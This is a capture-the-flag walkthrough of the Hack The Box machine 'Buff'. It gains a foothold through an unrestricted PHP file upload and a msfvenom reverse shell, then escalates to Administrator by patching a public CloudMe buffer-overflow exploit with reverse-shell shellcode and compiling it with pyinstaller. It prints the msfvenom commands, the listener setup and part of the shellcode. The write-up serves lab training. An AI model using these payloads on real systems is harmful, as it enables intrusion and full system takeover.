Hack The Box: Buff


As usual, recon starts with nmap across all ports:

# Nmap 7.80 scan initiated Mon Sep 28 20:01:12 2020 as: nmap -p- -T4 -A -oN nmap_full.log
Nmap scan report for
Host is up (0.070s latency).
Not shown: 65533 filtered ports
7680/tcp open  pando-pub?
8080/tcp open  http       Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2008|7 (85%)

We can see there is a HTTP server on 8080, and an unusual service on 7680. The page itself looks simple enough:

While exploring the page, we initiate a gobuster run on the website. There are quite a few entries which get returned, including an /ex folder which appears to contain an older, somewhat broken version of the website.

Recursively using gobuster on this folder also gathers quite a few entries:

hostilenode@blackstar:~/htb/buff$ gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
2020/09/29 18:51:34 Starting gobuster
/img (Status: 301)
/home.php (Status: 200)
/profile (Status: 301)
/index.php (Status: 200)
/contact.php (Status: 200)
/about.php (Status: 200)
/admin (Status: 301)
/register.php (Status: 200)
/Home.php (Status: 200)
/upload.php (Status: 200)
/About.php (Status: 200)
/Contact.php (Status: 200)
/edit.php (Status: 200)
/Index.php (Status: 200)
/up.php (Status: 200)
/packages.php (Status: 200)
/include (Status: 301)
/facilities.php (Status: 200)
/Register.php (Status: 200)
/Profile (Status: 301)
/att (Status: 301)

One that immediately caught my attention was /ex/upload.php, as upload facilities are often vulnerable.

User access

The file upload page is somewhat odd, with the two input boxes in addition to the file selection. From looking at the page’s source, we have:

  <form method="post" action="up.php" enctype="multipart/form-data">
    <input type="text" name="ext" size="30"/>
    <input type="text" name="name" id="name" size="30"/>
    <input type="file" accept="image/*" name="image" id="image" />
    <input type="submit" value='Save' onclick="return validateForm()"/>

So the first one is the file’s extension, the second the file’s name. Lets see if we can upload a PHP file; if we can, and we can find where the file was uploaded to, then the server will execute it. Lets try something simple before putting together a shell:

<?php echo 'Hello world'; ?>

We’ll call it hn.php and set the fields to php and hn, respectively:

So where did the file end up? We’ll, the most trivial choice would be “the same folder as where upload.php lives”. And if we try that, we’ll see that our file has indeed been uploaded is executing:

The next stage is trying an actual reverse shell, such as PentestMonkey’s PHP reverse shell. Attempting to upload it, however, we run into an issue:

Since this is a Windows machine, we might have tripped Windows Defender, which is blocking our reverse shell. We’ll try to create one with msfvenom instead:

hostilenode@blackstar:~/htb/buff$ msfvenom -p php/reverse_php -o reverse_php.php LHOST= LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 3007 bytes
Saved as: reverse_php.php

If we upload this file, and then listen on our local machine with nc -lvp 4444 and finally run it on the server by navigating to our uploaded file (at, e.g.,, we get a connection established. It is a pretty primitive shell, but enough for what we need right now.

hostilenode@blackstar:~/htb/buff$ nc -lvp 4444
listening on [any] 4444 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 49677

The user flag is located in the standard location for HTB, in this case C:\Users\shaun\Desktop\user.txt.

Privilege escalation

Thrawling through the files in this machine, we’ll quickly find an unusual file: C:\Users\shaun\Downloads\CloudMe_1112.exe. A quick look at ExploitDB brings up a Python buffer overflow exploit, and given the name of the box (and the Easy rating) this is likely the way forwards.

Reading the exploit, it doesn’t seem to be particularly complicated: a connection is established with the machine on port 8888 and it sends a crafted message which opens calc.exe. But is this machine actually listening on that port? A quick netstat -ano shows us that it is, even if it isn’t reachable by the outside:


So in theory we just need to modify the exploit to run something more useful than calc.exe, upload it and grab the root flag. The practice is somewhat more complicated, however, as this machine doesn’t have Python installed.

Patching the exploit

The exploit helpfully already has a comment regarding how the original payload was created: msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python. We’ll change the payload to use shell_reverse_tcp to call us back on port 4445, and if this service is running with elevated rights we’ll get an Administrator shell.

Note that we still need port 4444. As this exploit has to be run from the target machine, we’ll still rely on the original low-privileged shell to launch it.

hostilenode@blackstar:/htb/buff$ msfvenom -a x86 -p windows/shell_reverse_tcp LHOST= LPORT=4445 -b '\x00\x0A\x0D' -f python                                                                                                 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload                                                                                                                                                     
Found 11 compatible encoders                                                                                                                                                                                                               
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai                                                                                                                                                                       
x86/shikata_ga_nai succeeded with size 351 (iteration=0)                                                                                                                                                                                   
x86/shikata_ga_nai chosen with final size 351                                                                                                                                                                                              
Payload size: 351 bytes                                                                                                                                                                                                                    
Final size of python file: 1712 bytes                                                                                                                                                                                                      
buf =  b""                                                                                                                                                                                                                                 
buf += b"\xdb\xd9\xba\xc7\xb0\xb7\xcb\xd9\x74\x24\xf4\x5f\x33"
buf += b"\xc9\xb1\x52\x83\xef\xfc\x31\x57\x13\x03\x90\xa3\x55"
buf += b"\x3e\xe2\x2c\x1b\xc1\x1a\xad\x7c\x4b\xff\x9c\xbc\x2f"
buf += b"\x74\x8e\x0c\x3b\xd8\x23\xe6\x69\xc8\xb0\x8a\xa5\xff"
buf += b"\x71\x20\x90\xce\x82\x19\xe0\x51\x01\x60\x35\xb1\x38"
buf += b"\xab\x48\xb0\x7d\xd6\xa1\xe0\xd6\x9c\x14\x14\x52\xe8"

We’ll then replace the exploit’s payload with our own, being mindful to replace the buf variable with payload to keep the exploit’s logic intact. With our exploit ready, we then need to figure out how to run it on a machine that has no Python.


hostilenode@blackstar:~/htb/buff$ apt search pyinstaller
Sorting... Done
Full Text Search... Done
python3-pyinstaller/kali-rolling 3.5-0kali2 all
  Converts (packages) Python programs into stand-alone executables.

windows-privesc-check/kali-rolling 2.0.0+svn197-0kali4 all
  Windows privilege escalation checking tool

hostilenode@blackstar:~/htb/buff$ sudo apt install python3-pyinstaller

One way to get around the issue that we have no Python on this machine is to use pyinstaller, which lets us to create a native binary from a Python source. There are two important points to note:

  • pyinstaller can’t create binaries for different OSes. So a Windows box / VM is necessary to generate an EXE.
  • Only Python versions earlier than 3.8 are supported as of time of writing.

With pyinstaller in place, we can then build our exploit in a format we can run on the target machine:

PS E:\VirtualBox VMs\Public> pyinstaller.exe -F .\48389.py
81 INFO: PyInstaller: 4.0
82 INFO: Python: 3.7.9
82 INFO: Platform: Windows-10-10.0.19041-SP0
83 INFO: wrote E:\VirtualBox VMs\Public\48389.spec
87 INFO: UPX is not available.
99 INFO: Extending PYTHONPATH with paths
['E:\VirtualBox VMs\Public', 'E:\VirtualBox VMs\Public']
161 INFO: checking Analysis
9949 INFO: Bootloader appdata\local\programs\python\python37\lib\site-packages\PyInstaller\bootloader\Windows-64bit\run.exe
9949 INFO: checking EXE
9949 INFO: Building EXE because EXE-00.toc is non existent
9949 INFO: Building EXE from EXE-00.toc
9950 INFO: Appending archive to EXE E:\VirtualBox VMs\Public\dist\48389.exe
10042 INFO: Building EXE from EXE-00.toc completed successfully.
PS E:\VirtualBox VMs\Public>

We can upload our binary the same way we’ve uploaded our initial shell. Then, it is just a matter of having the attacking machine listening on port 4445, and running our exploit on the target. We’ll then get a connection back, and since the service we’re exploiting runs as Administrator, we’ll have elevated privileges:

Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami

The root flag is located in the standard location for HTB: C:\Users\Administrator\Desktop\root.txt.

Solace-10 Written by:

Be First to Comment

Leave a Reply

Your email address will not be published. Required fields are marked *